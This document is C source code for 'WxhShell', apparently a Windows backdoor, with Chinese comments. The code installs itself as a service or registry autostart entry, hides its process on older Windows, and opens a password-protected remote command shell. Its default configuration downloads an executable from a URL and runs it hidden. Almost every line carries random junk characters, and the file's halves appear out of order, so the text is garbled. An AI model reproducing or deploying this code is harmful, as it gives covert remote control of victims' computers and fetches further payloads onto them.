DWORD PebBaseAddress; 7n7UL0Oc1
DWORD AffinityMask; ?@QcKQ@
DWORD BasePriority; ~^l;~&
ULONG UniqueProcessId; x#fv<Cj4
ULONG InheritedFromUniqueProcessId; KebC$g@W
} PROCESS_BASIC_INFORMATION; A'n{K#
WNSEc%
PROCNTQSIP NtQueryInformationProcess; J7wIA3.O
o\X|\nUk
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MH=Ld=i
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p. KT=dZT
g/gaPc*86
HANDLE hProcess; lT_dzO
PROCESS_BASIC_INFORMATION pbi; .9q`Tf
zT ")!Df>'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VBz
G`&NG
if(NULL == hInst ) return 0; Z GrDa
6S^JmYq
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :XB^IyO-A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aX?
tnDv
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i4mP*RwC
JtxitF2
if (!NtQueryInformationProcess) return 0; ucFfxar"
=lL)g"xX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tr,
zV
if(!hProcess) return 0; 3[<D"0#},
tNljv >vI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ])?[9c
|CPyCM$
CloseHandle(hProcess); :A5h<=[
.@psW0T%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NtkZ\3
if(hProcess==NULL) return 0; @4$la'XSx
LeYI<a@n@$
HMODULE hMod; 9JO1O:W
char procName[255]; TP mb]j
unsigned long cbNeeded; 3g5D[>J'
A}i>ys
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sLf~o"yb
l_pf9!z
CloseHandle(hProcess); #lF 2qw
WTu!/J<\
if(strstr(procName,"services")) return 1; // 以服务启动 dte-2?%~j
f |NXibmP
return 0; // 注册表启动 uCc5)
} &.JJhX
vJe c+a
// 主模块 gUme({h&|
int StartWxhshell(LPSTR lpCmdLine) oiQ:&$y
{ 'ql<R0g
SOCKET wsl; $?uLFD
BOOL val=TRUE; oG
c9
6B%
int port=0; "Rn@yZV
struct sockaddr_in door; UQjYWXvi
pW_mS|
if(wscfg.ws_autoins) Install(); *A0*.>@N
o0TB>DX$`
port=atoi(lpCmdLine); 0@RVM|
=b>e4I@
if(port<=0) port=wscfg.ws_port; Fi#
9L
MJU*Sq
WSADATA data; 68~5Dx
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zi<(>@z2
SD jJ?K
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; omI"xx
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J7@Q;gcl:
door.sin_family = AF_INET; ysFp$!9Ux
door.sin_addr.s_addr = inet_addr("127.0.0.1"); VP*B<u
door.sin_port = htons(port); kNX8y--
YMj iJTl
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O$X^Ea7~
closesocket(wsl); l=C|4@
return 1; zm#%]p80f
} yUs/lI, Q
h;A~:}c,
if(listen(wsl,2) == INVALID_SOCKET) { kb!W|l"PN
closesocket(wsl); GN+!o($
return 1; /!U(/
} 8:K_S a%
Wxhshell(wsl); XpPcQIM*
WSACleanup(); n(_wt##wE~
v!AfIcEV
return 0; Yn>FSq^Wp-
u]P9ip"Z
} 1jd.tup
%yK- Q,'O
// 以NT服务方式启动 \W|ymV_Ki
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \/9 O5`u*V
{ .Dy2O*`
DWORD status = 0; o1H6E1$=
DWORD specificError = 0xfffffff; B/B`=%~5_^
&_' evZ8
serviceStatus.dwServiceType = SERVICE_WIN32; ~;uU{TT
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /*Gbl
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z6fY_LL
serviceStatus.dwWin32ExitCode = 0; *r ('A
serviceStatus.dwServiceSpecificExitCode = 0; pL: r\Y:R
serviceStatus.dwCheckPoint = 0;
<3x:nH @
serviceStatus.dwWaitHint = 0; a..LbQQ
9{%/I
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [-^xw1:
if (hServiceStatusHandle==0) return; =-avzuy#
WfQZ7e
status = GetLastError(); oo1h"[
if (status!=NO_ERROR) QN#tj$x
{ c/%GfB[w0
serviceStatus.dwCurrentState = SERVICE_STOPPED; n{=Ot^
";
serviceStatus.dwCheckPoint = 0; /< Dtu UM
serviceStatus.dwWaitHint = 0; ?y,KN}s_
serviceStatus.dwWin32ExitCode = status; [_*?~
serviceStatus.dwServiceSpecificExitCode = specificError; `:d\L
H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); A2.4#Qb'
return; fsWPU]\)
} 4D6LP*
&Y3ZGRT
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0Y8Cz /$
serviceStatus.dwCheckPoint = 0; CDT;AdRw7
serviceStatus.dwWaitHint = 0; #<es>~0!
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); me90|GOx+
} oVd7ucnK
JO~62='J
// 处理NT服务事件,比如:启动、停止 azG"Mt|7Z
VOID WINAPI NTServiceHandler(DWORD fdwControl) b]*OGp4]5
{ }\1IsK~P
switch(fdwControl) &td
{ N w/it*f
case SERVICE_CONTROL_STOP: -}RGz_LO/
serviceStatus.dwWin32ExitCode = 0; "om[S :ai
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8&CQx*
serviceStatus.dwCheckPoint = 0; xEufbFAN?
serviceStatus.dwWaitHint = 0; b`;Cm)@X!)
{ GyfKSj;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); O"wo&5b_
} !PgwFJ
return; Us_1 #$p,
case SERVICE_CONTROL_PAUSE: AmrVxn4
serviceStatus.dwCurrentState = SERVICE_PAUSED; H% FP!03
break; 9{Igw"9ck
case SERVICE_CONTROL_CONTINUE: 3il$V78|
serviceStatus.dwCurrentState = SERVICE_RUNNING; #Fkp6`Q$x
break; <&tdyAT?&
case SERVICE_CONTROL_INTERROGATE: E0.o/3Gw6
break; - *qoF(/U
}; <KX+j,4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N l^uA
} o* e'D7
|<%v`*
// 标准应用程序主函数 D#[<N
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lkJe7 +s
{ 5=1Ml50
V?~!D p
// 获取操作系统版本 |gU)6}V@
OsIsNt=GetOsVer(); `chD*@76I
GetModuleFileName(NULL,ExeFile,MAX_PATH); >[Tt'.S!?
RL*b47,
// 从命令行安装 Sa/]81aG
if(strpbrk(lpCmdLine,"iI")) Install(); lBudC
z6|kEc"{
// 下载执行文件 z&\N^tBv
if(wscfg.ws_downexe) { Y/
%XkDC~
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TY?O$d2b3
WinExec(wscfg.ws_filenam,SW_HIDE); m=a^t
}
Az/B/BLB
g*!1S
if(!OsIsNt) { Bve',.xH
// 如果时win9x,隐藏进程并且设置为注册表启动 eV"Uv3
HideProc(); FM|3'a-z
StartWxhshell(lpCmdLine); KGmAnN
} ,:0!+1
else szXqJG8|
if(StartFromService()) I A$=
// 以服务方式启动 ^-F#"i|Cn
StartServiceCtrlDispatcher(DispatchTable); h;R>|2A
else G[n;%c~`+
// 普通方式启动 P1|3%#c
StartWxhshell(lpCmdLine); 9<o*aFgCa
V7B%o:FZo
return 0; h~O^~"jc
} "*:?m{w5
l
nJ
COj^pdE3
>O0<u
=========================================== ,[3}t%Da
fP 3t0cp
PJ,G_+b!
(-VH=,Md
f`8?]@y{
B;nIKZ
" B7sBO6Z$J
-fN5-AC
#include <stdio.h> 40[@d
#include <string.h> 0a1Mu>P,
#include <windows.h> Pfd%[C/vdm
#include <winsock2.h> fS p
#include <winsvc.h> 2>f3nW
#include <urlmon.h> W*/2x8$d
gLlA'`!
#pragma comment (lib, "Ws2_32.lib")
[WXcp1p
#pragma comment (lib, "urlmon.lib") <RcB: h
-h=wLYl@0i
#define MAX_USER 100 // 最大客户端连接数 '@5x=>
#define BUF_SOCK 200 // sock buffer 5?|y%YH;R\
#define KEY_BUFF 255 // 输入 buffer E+/XKF
tH:?aP*2
#define REBOOT 0 // 重启 EJNHZ<
#define SHUTDOWN 1 // 关机 5acC4v!T
#TcX5
#define DEF_PORT 5000 // 监听端口 B] Koi1B
%.8(R
&
#define REG_LEN 16 // 注册表键长度 t| B<F t^
#define SVC_LEN 80 // NT服务名长度 "V5_B^Gzb]
m8INgzVTC
// 从dll定义API ]#7baZ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w:](F^<s,
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v~0lZe
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =w<iYO
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,V''?@
E!`/XB/nA
// wxhshell配置信息 -VP_Aw$
struct WSCFG { "2 D{X
int ws_port; // 监听端口 ReGT*+UN
char ws_passstr[REG_LEN]; // 口令 3@* ~>H
int ws_autoins; // 安装标记, 1=yes 0=no *z]P|_:&G
char ws_regname[REG_LEN]; // 注册表键名 @6-3D/=
char ws_svcname[REG_LEN]; // 服务名 S_s;foT
char ws_svcdisp[SVC_LEN]; // 服务显示名 L!fIAd`
char ws_svcdesc[SVC_LEN]; // 服务描述信息 @P h'!
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]qx!51S
int ws_downexe; // 下载执行标记, 1=yes 0=no ^;$9>yi1
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v7v>
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q?8#D
[q^pMH#U"
}; rEWuWv$
"$q"Kilj%
// default Wxhshell configuration ob/HO(h3
struct WSCFG wscfg={DEF_PORT, oWggh3eXk
"xuhuanlingzhe", dvglh?7d
1, ~/Y8wxg
"Wxhshell", '1zC|:,
"Wxhshell", }:*?w>=
"WxhShell Service", nO;ox*Bk+8
"Wrsky Windows CmdShell Service", '=d y
=
"Please Input Your Password: ", |aj]]l[@S
1, H~:g=Zw
"http://www.wrsky.com/wxhshell.exe", V'9OGn2v
"Wxhshell.exe" slLTZ]
}; 0|{":i_s
1uzK(j8w
// 消息定义模块 )-1$y+s>
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w)h"?'m~
char *msg_ws_prompt="\n\r? for help\n\r#>"; QwuSo{G
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @?</8;%3W
char *msg_ws_ext="\n\rExit."; 2]r5e;
char *msg_ws_end="\n\rQuit."; TLg 9`UA
char *msg_ws_boot="\n\rReboot..."; GT3}'`f B
char *msg_ws_poff="\n\rShutdown..."; m-qOyt
char *msg_ws_down="\n\rSave to "; CljEC1S#
[TT:^F(Y
char *msg_ws_err="\n\rErr!"; UM'JK#P"
char *msg_ws_ok="\n\rOK!"; .:(gg
y }h2
char ExeFile[MAX_PATH]; YL[y3&K
int nUser = 0; <4^y7]]F
HANDLE handles[MAX_USER]; u%Z4 8wr
int OsIsNt; aZmbt,.V
{q&A/
SERVICE_STATUS serviceStatus; p4K
8L'nZ
SERVICE_STATUS_HANDLE hServiceStatusHandle; }@53*h i(
|+=ctpx9&
// 函数声明 o
Y<vKs^
int Install(void); ePxf.U
int Uninstall(void); D~TK'&